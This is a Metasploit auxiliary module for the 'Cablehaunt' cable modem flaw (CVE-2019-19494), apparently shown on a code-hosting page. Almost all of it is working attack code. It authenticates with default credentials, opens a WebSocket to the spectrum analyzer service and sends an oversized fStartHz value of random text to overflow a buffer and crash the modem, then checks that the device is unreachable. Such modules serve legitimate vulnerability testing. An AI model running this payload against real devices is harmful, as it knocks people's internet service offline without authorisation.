Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'eventmachine'
7
require 'faye/websocket'
8

9
class MetasploitModule < Msf::Auxiliary
10
  include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => '"Cablehaunt" Cable Modem WebSocket DoS',
17
        'Description' => %q{
18
          There exists a buffer overflow vulnerability in certain
19
          Cable Modem Spectrum Analyzer interfaces.  This overflow
20
          is exploitable, but since an exploit would differ between
21
          every make, model, and firmware version (which also
22
          differs from ISP to ISP), this module simply causes a
23
          Denial of Service to test if the vulnerability is present.
24
        },
25
        'Author' => [
26
          'Alexander Dalsgaard Krog (Lyrebirds)', # Original research, discovery, and PoC
27
          'Jens Hegner Stærmose (Lyrebirds)', # Original research, discovery, and PoC
28
          'Kasper Kohsel Terndrup (Lyrebirds)', # Original research, discovery, and PoC
29
          'Simon Vandel Sillesen (Independent)', # Original research, discovery, and PoC
30
          'Nicholas Starke' # msf module
31
        ],
32
        'References' => [
33
          ['CVE', '2019-19494'],
34
          ['EDB', '47936'],
35
          ['URL', 'https://cablehaunt.com/'],
36
          ['URL', 'https://github.com/Lyrebirds/sagemcom-fast-3890-exploit']
37
        ],
38
        'DisclosureDate' => '2020-01-07',
39
        'License' => MSF_LICENSE,
40
        'Notes' => {
41
          'Stability' => [CRASH_SERVICE_DOWN],
42
          'SideEffects' => [IOC_IN_LOGS],
43
          'Reliability' => []
44
        }
45
      )
46
    )
47

48
    register_options(
49
      [
50
        Opt::RHOST('192.168.100.1'),
51
        Opt::RPORT(8080),
52
        OptString.new('WS_USERNAME', [true, 'WebSocket connection basic auth username', 'admin']),
53
        OptString.new('WS_PASSWORD', [true, 'WebSocket connection basic auth password', 'password']),
54
        OptInt.new('TIMEOUT', [true, 'Time to wait for response', 15])
55
      ]
56
    )
57

58
    deregister_options('Proxies')
59
    deregister_options('VHOST')
60
    deregister_options('SSL')
61
  end
62

63
  def run
64
    res = send_request_cgi({
65
      'method' => 'GET',
66
      'uri' => '/',
67
      'authorization' => basic_auth(datastore['WS_USERNAME'], datastore['WS_PASSWORD'])
68
    })
69

70
    fail_with(Failure::Unreachable, 'Cannot Connect to Cable Modem Spectrum Analyzer Web Service') if res.nil?
71
    fail_with(Failure::Unknown, 'Credentials were incorrect') if res.code != 200
72

73
    @succeeded = false
74
    EM.run do
75
      print_status("Attempting Connection to #{datastore['RHOST']}")
76

77
      driver = Faye::WebSocket::Client.new("ws://#{datastore['RHOST']}:#{datastore['RPORT']}/Frontend", ['rpc-frontend'])
78

79
      driver.on :open do
80
        print_status('Opened connection')
81

82
        EM::Timer.new(1) do
83
          print_status('Sending payload')
84
          payload = Rex::Text.rand_text_alphanumeric(7000..8000)
85
          driver.send({
86
            jsonrpc: '2.0',
87
            method: 'Frontend::GetFrontendSpectrumData',
88
            params: {
89
              coreID: 0,
90
              fStartHz: payload,
91
              fStopHz: 1000000000,
92
              fftSize: 1024,
93
              gain: 1
94
            },
95
            id: '0'
96
          }.to_json)
97
        rescue StandardError
98
          fail_with(Failure::Unreachable, 'Could not establish websocket connection')
99
        end
100
      end
101

102
      EM::Timer.new(10) do
103
        print_status('Checking Modem Status')
104
        begin
105
          res = send_request_cgi({
106
            'method' => 'GET',
107
            'uri' => '/'
108
          })
109

110
          if res.nil?
111
            @succeeded = true
112
            print_status('Cable Modem unreachable')
113
          else
114
            fail_with(Failure::Unknown, 'Host still reachable')
115
          end
116
        rescue StandardError
117
          @succeeded = true
118
          print_status('Cable Modem unreachable')
119
        end
120
      end
121

122
      EM::Timer.new(datastore['TIMEOUT']) do
123
        EventMachine.stop
124
        if @succeeded
125
          print_good('Exploit delivered and cable modem unreachable.')
126
        else
127
          fail_with(Failure::Unknown, 'Unknown failure occurred')
128
        end
129
      end
130
    end
131
  end
132
end
133

134